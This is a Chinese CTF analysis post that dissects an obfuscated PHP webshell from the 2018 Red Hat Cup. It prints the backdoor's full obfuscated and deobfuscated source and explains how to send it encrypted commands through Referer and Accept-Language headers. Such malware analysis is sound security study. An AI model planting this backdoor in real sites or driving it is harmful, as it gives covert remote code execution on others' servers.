PHP混淆後門解剖分析(反抓流量、加密結果)
開始前的例行叨叨:
這個後門樣本收集於2018紅帽杯線下決賽,看到有其他分析收集於自己的伺服器,悲劇了(手動笑哭),貌似藍帽杯也有。
除錯了很久,被逼著專門學了半天正則表示式,但感覺寫完這篇文章就忘乾淨了。
馬的特殊性就是,靠特別麻煩,讓你在現場心態崩潰,除錯不出來,而且抓到流量不會打,直接打過去也看不懂結果6666
(手動滑稽)
後門原始碼
<?php $s='=0;pw($pwj<$c&&$ipw<$l);$jpw++pw,$i++){$opw.=$pwt{$i}^$k{$j}pw;}}repwpwturn pw$o;}$r=$_SERVEpwR;[email protected]
$r["HpwTTP_REpwpwFE'; $I='m[2]pw[$z]];ipwf(strpopwspw($p,$h)pw===0){$s[$pwpwi]="";$pwppw=$ss($p,3);}if(apwrray_pwkey_existpws($i,$pws)){pw$s[$i].pw=$p;'; $U='$epw=strppwpwos($s[$ipw],$f);ipwfpw($e){pw$k=$pwkpwh.$kf;ob_start();@evpwapwl(@gzuncpwpwompress(@x(@baspwepw64_decpwpwode('; $d=str_replace('pF','','cpFreapFtepFpF_pFfuncpFtion'); $Q='preg_replapwce(arrapwypwpw("/_/","/-/"),array("pw/"pw,"+"),pwpw$ss($s[pw$i],0pw,$e))),$k)));pw$opw=ob_gepwt_pwcopwpwntents();o'; $O='b_end_clean(pw);$d=bpwase64pw_epwncode(x(gzcompwpress($opw),$pwk));pripwntpw("<$kpw>$d</$k>");@sespwpwspwion_destroy();}}}}'; $y='RERpwpw"];[email protected]$r["HTTP_ACCEPTpwpw_LANGUAGE"];pwifpw(pw$rr&&$ra)pw{$u=parsepw_urlpw($rr);parspwe_str($upw["qpwupwery"],$q);'; $X='$q=pwapwrray_values(pwpw$q);preg_mpwatchpw_alpwl("/([\\w])[pw\\wpw-]+(?:;q=0.(pw[pw\\d]))?,?/pw",$rpwpwa,$m);pwif($q&&$m){@'; $b='sespwsion_stapwrt();$pwspw=&$_SESpwSpwION;$pwss="spwubpwstr";$sl="pwstrtolopwwer";$i=$m[1][0]pwpw.$m[1][1];pw$h=$sl(pwpw$s'; $q='pws(md5($i.$kh)pw,0,3));$fpwpw=$pwsl($ss(md5($i.$kfpw),0pwpw,3));$p="pw";fopwr($zpw=1;$z<count($m[1pwpw]);$pwz++)$p.=$pwq[$'; $W='$kh="d6a6";pw$kf=pw"bc0d";pwfupwnction x($pwt,$pwkpw){$c=spwtrlen($k);$l=pwpwstrlen($t);pwpw$o="pw";for($i=0pw;$i<$l;){fopwr($j'; $j=str_replace('pw','',$W.$s.$y.$X.$b.$q.$I.$U.$Q.$O); $u=$d('',$j);$u(); ?>
經過Debug除錯,解混淆
解混淆後的原始碼
<?php
$kh = "d6a6";
$kf = "bc0d";
function x($t, $k)
{
$c = strlen($k);
$l = strlen($t);
$o = "";
for ($i = 0; $i < $l; ) {
for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
$o .= $t{$i} ^ $k{$j};
}
}
return $o;
}
$r = $_SERVER;
$rr = @$r["HTTP_REFERER"];
$ra = @$r["HTTP_ACCEPT_LANGUAGE"];
if ($rr && $ra) {
$u = parse_url($rr);
parse_str($u["query"], $q);
$q = array_values($q);
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);
if ($q && $m) {
@session_start();
$s =& $_SESSION;
$ss = "substr";
$sl = "strtolower";
$i = $m[1][0] . $m[1][1];
$h = $sl($ss(md5($i . $kh), 0, 3));
$f = $sl($ss(md5($i . $kf), 0, 3));
$p = "";
for ($z = 1; $z < count($m[1]); $z++)
$p .= $q[$m[2][$z]];
if (strpos($p, $h) === 0) {
$s[$i] = "";
$p = $ss($p, 3);
}
if (array_key_exists($i, $s)) {
$s[$i] .= $p;
$e = strpos($s[$i], $f);
if ($e) {
$k = $kh . $kf;
ob_start();
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"), array("/","+"), $ss($s[$i], 0, $e))), $k)));
$o = ob_get_contents();
ob_end_clean();
$d = base64_encode(x(gzcompress($o), $k));
print("<$k>$d</$k>");
@session_destroy();
}
}
}
}
?>
開始調戲試原始碼
emmmmm這個後門凶的很。。。先一步一步分析,在賽場上第一次看到,直接調到自己崩潰。
1、找到傳入引數方式
$r = $_SERVER;$rr = @$r["HTTP_REFERER"];$ra = @$r["HTTP_ACCEPT_LANGUAGE"];if ($rr && $ra) {這段在自己定義的x函式之後,也就是最開始要執行的程式碼了。
看到
r變數是$_SERVER陣列的內容
rr是http頭中Referer:欄位內容
ra是Accept-Language:欄位內容
用burp抓包Repeter傳送+vscode除錯
發現有了Referer和Accept-Language後,可以進入if條件。
2、u變數和q變數的含義
if條件中接下來的程式碼是
$u = parse_url($rr); parse_str($u["query"], $q); $q = array_values($q);對傳入的Referer進行了parse_url函式,這個函式可以轉化url為陣列。
若url為
http://www.111.com/index.php?aa=11&bb=22&cc=33
經過轉化u的值為:
parse_str函式是把傳入的aa=11&bb=22&cc=33做轉化,轉化成陣列存入$q變數
array_value是把key<=>value型陣列,轉化成只有值的陣列,僅取11 22 33
3、正則表示式的玄機
比賽的時候,斷網,看到這就心態炸了。。。
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);這個函式是從$ra中正則匹配所有滿足條件的值給$m
底下的if判斷就要判斷$m是否為空,所以我們必須知道操作$m的方法。
$ra是Accept_Language的內容,所以對它進行匹配,修改傳入引數就好了。
先放個結果 當傳入accept為:
abb-c;q=0.2,ABB-C;q=0.3,dee-f;q=0.4
看到$m結果有3個數組,第一個陣列是切分了三段,第二個陣列是每段的起始a、A、d,第三段是數字q=0.x
我們分析這個正則語句
去掉首尾的//剩下:
([\w])[\w-]+(?:;q=0.([\d]))?,?
([\w])
[]是字符集的意思,匹配一個字元
[abc]意思是找字串中是否存在abc這三個字母
\w元字元表示:字母數字下劃線
它加了括號表示,這部分匹配到的內容,單獨存放一個數組,也就是$m[1]
([\w])匹配到的內容是開頭的字母,如a A d都是每一個符合整式內容的結果開頭字母
[\w-]+
這個沒有括號,字符集中\w表示匹配一個字母數字或下劃線,-號表示 -號也作為被識別的範圍
但後面跟了加號,表示可以出現一次或者多次,也就是
傳入ab-cde中,a會被([\w])匹配,b-cde都被[\w-]+匹配
(?:;q=0.([\d]))?
注意這個結構可以簡化為(?:xxxxx)?
最後一個?意思是括號中的內容可以出現一次或多次
括號最開始出現(?:
表示括號中的內容,不單獨記錄為一個數組!
之前([\w])被記入$m[1],而這個括號內的內容不記入$m[2]
;q=0.([\d])
括號內這部分表示識別;q=0.
([\d])
\d元字元表示匹配所有數字,括號表示單獨記錄數字到陣列$m[2]
所以現在應該可以理解了$m陣列的所有內容。
4、md5部分
if ($q && $m) { @session_start(); $s =& $_SESSION; $ss = "substr"; $sl = "strtolower"; $i = $m[1][0] . $m[1][1]; $h = $sl($ss(md5($i . $kh), 0, 3)); $f = $sl($ss(md5($i . $kf), 0, 3));正則匹配後$m有了內容就可以進入if條件
開啟了session
$ss和$sl是函式名,在後邊會動態使用
$i是abb-c;q=0.2,ABB-C;q=0.3,dee-f;q=0.4中
前兩段的開頭a和A拼接起來的
$i=aA
$h是把aA + bc0d後進行md5再用ss動態函式取前3位,再用sl動態函式轉為小寫
$f同理
5、$p值
$p = ""; for ($z = 1; $z < count($m[1]); $z++) $p .= $q[$m[2][$z]]; if (strpos($p, $h) === 0) { $s[$i] = ""; $p = $ss($p, 3); }傳入3段值時,$m[1]大小為3,$z的值為1和2
$m[2]值為q=0.x傳入的數字,取傳入的第二第三個數字
所以傳入q=0.0 q=0.0 q=0.1 由於$z=1所以第一個值無效
讓$p.=$q的0和1項
所以傳入Accept-Language: abb-c;q=0.0,ABB-C;q=0.0,dee-f;q=0.1
這樣$p會等於index.php?aa=11&bb=22&cc=33中的1122
下邊需要$p的開頭是$h
$h是md5值的前3項"aa4"
所以傳入?aa=aa4就可以往下走了
此時$p是aa422,經過$ss動態substr函式後,$p被截掉前3位aa4只剩下22
6、執行前的最後一波
if (array_key_exists($i, $s)) { $s[$i] .= $p; $e = strpos($s[$i], $f); if ($e) { $k = $kh . $kf; ob_start();要檢測$s
$s是陣列"aA"=""
$i是"aA"
對$s陣列的"aA"鍵賦值$p
"aA"="22"
$e = strpos($s[$i], $f);
要在22中找$f值,$f也是提前md5的前3位值,這裡f是"2d4"
由於後邊執行的程式碼是$ss($s[$i], 0, $e)
對"aA"的內容去掉"2d4"
若"aA"="abc2d4"
要執行的程式碼就是abc
所以我們傳入index.php?aa=aa4&bb=1112d4
111部分就是要執行的程式碼部分
7、執行函式拆解
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"), array("/","+"), $ss($s[$i], 0, $e))), $k)));先看最裡層$ss($s[$i], 0, $e)
把傳入的1112d4去掉2d4得到111
preg_replace(array("/_/","/-/"), array("/","+"), "111")
這個正則替換,要把111中的
_ 替換為 /
- 替換為 +
也就是111應該是個base64但是是把base64的/換為了_ 把+換為了-的base64
再對替換後進行base64解碼
解碼後執行x函式
x(解碼值,$k)
其中$k是$k = $kh . $kf;
是提前預設好的2個4位值加起來 d6a6bc0d
x(解碼值,"b6a6bc0d")
gzuncompress(x的返回值)
這是zlib解壓縮字串函式,壓縮函式是gzcompress
對x的返回值進行解壓縮
解壓後再執行
x函式
function x($t, $k){ $c = strlen($k); $l = strlen($t); $o = ""; for ($i = 0; $i < $l; ) { for ($j = 0; ($j < $c && $i < $l); $j++, $i++) { $o .= $t{$i} ^ $k{$j}; } } return $o;}對傳入的值逐位和$k中的祕鑰"b6a6bc0d"進行異或
異或完的值,需要是一個被gzcompress壓縮過的值,因為要對結果進行解壓
這個被壓縮過的值不能直接顯示,所以需要base64,base64記得是替換過/+的base64
分析下異或,如果傳入0123456789
01234567分別和b6a6bc0d異或
89再和b6異或
沒有長度限制,沒有長度限制。。。
一開始的時候看錯了$j < $c && $i < $l 條件
迴圈完內輪後,i還沒到最後,只是祕鑰到了最後
重新會進入內輪,只是j=0讓祕鑰從頭開始
8、返回資訊
ob_start(); @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"), array("/","+"), $ss($s[$i], 0, $e))), $k))); $o = ob_get_contents(); ob_end_clean(); $d = base64_encode(x(gzcompress($o), $k)); print("<$k>$d</$k>");注意ob_start是開啟快取
再進行eval
也就是eval期間,所有的輸出值,都存在快取中不直接輸出給瀏覽器
全部執行完後,$o得到的快取內容
進行了gz壓縮,還進行了x函式異或加密,再base64編碼後,返回給瀏覽器。
所以拿到返回結果,要逆著解出來真的輸出值。
放個結果的例子,執行phpinfo();後的返回
最後,這個馬真的很6,想互動式利用,寫個python吧,但需要根據自己傳入的引數修改
現場是幾乎不可能除錯完,再寫互動式shell了,只有提前準備。
馬的安全性來說,最好加個md5驗證,但如此複雜,是為了把人煩死。。。抓到流量也不會打,結果還是加密的6666
相關推薦
PHP混淆後門解剖分析(反抓流量、加密結果)
開始前的例行叨叨:這個後門樣本收集於2018紅帽杯線下決賽,看到有其他分析收集於自己的伺服器,悲劇了(手動笑哭),貌似藍帽杯也有。除錯了很久,被逼著專門學了半天正則表示式,但感覺寫完這篇文章就忘乾淨了。馬的特殊性就是,靠特別麻煩,讓你在現場心態崩潰,除錯不出來,而且抓到流量不
PHP程式碼審計片段講解(入門程式碼審計、CTF必備)
關於本專案 程式碼審計對於很多安全圈的新人來說,一直是一件頭疼的事情,也想跟著大牛們直接操刀審計CMS?卻處處碰壁: 函式看不懂! 漏洞原理不知道! PHP特性更不知! 那還怎麼愉快審計? 不如化繁為簡,跟著本專案先搞懂PHP中大多敏感函式與各類特性,再逐漸增加難度
RIPS PHP源碼靜態分析(轉)
ann 分析技術 sdn pla 語法 cef 技術分享 網站 dot 0x00背景 對於PHP代碼審計的需求,我們當然需要一款好的php代碼審計分析工具--RIPS,它使用了靜態分析技術,能夠自動化地挖掘PHP源代碼潛在的安全漏洞如XSS ,sql註入,敏感信息泄漏,文件
轉載自-亭鈺wang,php 訊息實時推送(反ajax推送)
入口檔案index.html <!DOCTYPE HTML> <html> <head> <title>反ajax推送</title> <style>  
原來你是這樣的Websocket--抓包分析(絕對好文!!!)
之前自己一個人負責完成了公司的訊息推送服務,和移動端配合完成了掃碼登入、訂單訊息推送、活動訊息廣播等功能。為了加深自己對Websocket協議的理解,自己通過進行抓包的方式學習了一番。現在分享出來,希望對大家能有所幫助。 Chrome控制檯 (1)F12進入控制檯,點選Ne
Convolution Network及其變種(反卷積、擴展卷積、因果卷積、圖卷積)
connected lte 理論 圖像處理 val 場景 了解 tput 實驗 今天,主要和大家分享一下最近研究的卷積網絡和它的一些變種。 首先,介紹一下基礎的卷積網絡。 通過PPT上的這個經典的動態圖片可以很好的理解卷積的過程。圖中藍色的大矩陣是我們的輸入,黃色的小
JS性能分析(測試代碼運行時間)
code ons 性能分析 style 代碼 div 時間 ++ {} //性能優化 console.time("timer"); for(var i=0;i<10000;i++){} console.timeEnd("timer"); JS性能分析
數學筆記——導數4(反函數的導數)
技術分享 -1 spl -a 分別是 條件 一段 使用 化簡 什麽是反函數 一般地,設函數y=f(x)(x∈A)的值域是C,若找得到一個函數g(y)在每一處g(y)都等於x,這樣的函數x= g(y)(y∈C)叫做函數y=f(x)(x∈A)的反函數,記作y=f-1(x)
Fidder簡單使用方法(HTTPS抓取和url替換)
session art 連接 nbsp rules 添加 代理 detail 接下來 Fidder是一個windows端主流的抓包工具,可以配置代理,抓https的數據,還可以修改請求體和內容下面是一些簡單的使用方法 安裝完畢後Tools
個人作業——軟件產品案例分析(華為軟件開發雲)
開發人員 顯示 主界面 lock log 很多 第一次 印象 添加 個人作業——軟件產品案例分析(華為軟件開發雲) 第一部分調研、評測 一、評測 1.第一次使用體驗: 功能多,主界面很簡潔。 對於新手而言,第一次接觸華為軟件開發雲,沒有註冊登錄的話,就很難找到自己
深度學習情感分析(隨機梯度下降代碼實現)
隨機梯度下降 exp utf8 ret .get bsp 這一 理論 body 1.代碼沒有引入深度學習包,實現了簡單的隨機梯度下降算法。 2.理論較簡單。 # coding:utf8 # Author:Chaz import sys,time import numpy
Docker價值分析(優缺點和誰在使用?)
Docker價值分析(優缺點和誰在使用?) 摘要: Docker,一個新的容器技術,它能夠在相同的舊伺服器上執行的更多的應用程式,這也使得它很容易打包和釋出程式。 它可以得到相同的硬體上比其他技術執行更多的應用(小的開銷記憶體/ CPU/硬碟,這意味著更低成本); 它使開發人員
【ArcGIS|空間分析】颱風路徑分析(全國大學生GIS技能大賽試題)
文章目錄 題目 資料說明 資料處理要求 應用知識 追蹤分析 製圖 步驟 總結 題目 颱風對我國沿海地區影響比較大,為了有效監測颱風的軌跡和對我國的影響,現有2016年
Flutter之drawer詳細分析(你要的操作都有)
1. 簡介 這篇文章主要講解有關drawer的一切。 另:接Flutter相關專案,需要的私信或通過QQ:708959817,聯絡我 2. 初探 我們先來看看簡單的drawer在Flutter的應用 class HomePage extends StatefulWidget {
自定義View之指南針(反編譯別人的程式碼實現)
一、說明 偶爾點開魅族手機內建的工具箱應用,發現其指南針做的還不錯,就想模擬做一個類似的效果,在這裡我們不準備自己從頭開始編寫程式碼,而是採用一點黑科技,首先,我們從魅族系統中匯出工具箱應用的apk,然後反編譯apk,結合
推薦系統中協同過濾演算法實現分析(重要兩個圖!!)
“協”,指許多人協力合作。 “協同”,就是指協調兩個或者兩個以上的不同資源或者個體,協同一致地完成某一目標的過程。 “協同過濾”,簡單來說,就是利用興趣相投或擁有共同經驗的群體的喜好來給使用者推薦感興趣的資訊,記錄下來個人對於資訊相當程度的迴應(如評分),以達到過濾的目的,進而幫助別人篩
影象處理與分析(岡薩雷斯第二版)學習筆記1
第一章,緒論 1,數字影象處理裡面的影象是什麼? 一幅影象可以定義為一個二維函式f(x,y),其中(x,y)表示影象中每一點空間座標,f(x,y)為幅值大小,對應每一點的強度或者灰度,當x,y和幅值f為離散數值時,該影象被稱為數字影象。 2,數字影象處理是什麼? 數字影象處理是指借用
事後諸葛亮分析(小小大佬帶飛隊)
總結 這次專案最初討論了好幾種文字識別方案,在最終測試中發現由於原理理解不夠深入導致無法對細緻引數進行調整,效果並不是很理想,在這個過程中也意識到理論的重要性,最後發現還是先搭建比較簡單的神經網路比較現實,雖然識別效果不是很理想但還是有一定進步,我相信即使軟工專案結束了但在接下來的完善中一定可以把這個專
【 模擬 】基於TOA的定位演算法效能分析(不同接收站數量下的比較)
研究接收機數量對SNR = 30 dB的非線性和線性方法的MSPE效能的影響。 從最小數量的感測器開始,即L = 3,它們的位置是(0,0),(10,0)和(10,10)。 然後將具有座標(0,10),(0,5),(5,0),(10,5)和(5,10)的接收器連續新增到L = 8。未知源位於 (
php中資料的儲存(主要講述的檔案的儲存)
程式語言中對資料劃分了很多的型別,但資料與之相關的有兩個方面:其一是值,其二是型別。 程式在運算的過程中,會產生資料,但程式執行結束記憶體中的資料都會丟失。如果想儲存程式執行過程中產生資料,要儲存起來。儲存的位置文字檔案或資料庫。 但是文字檔案中只能儲存字元資訊。為了將資料的資料與型別一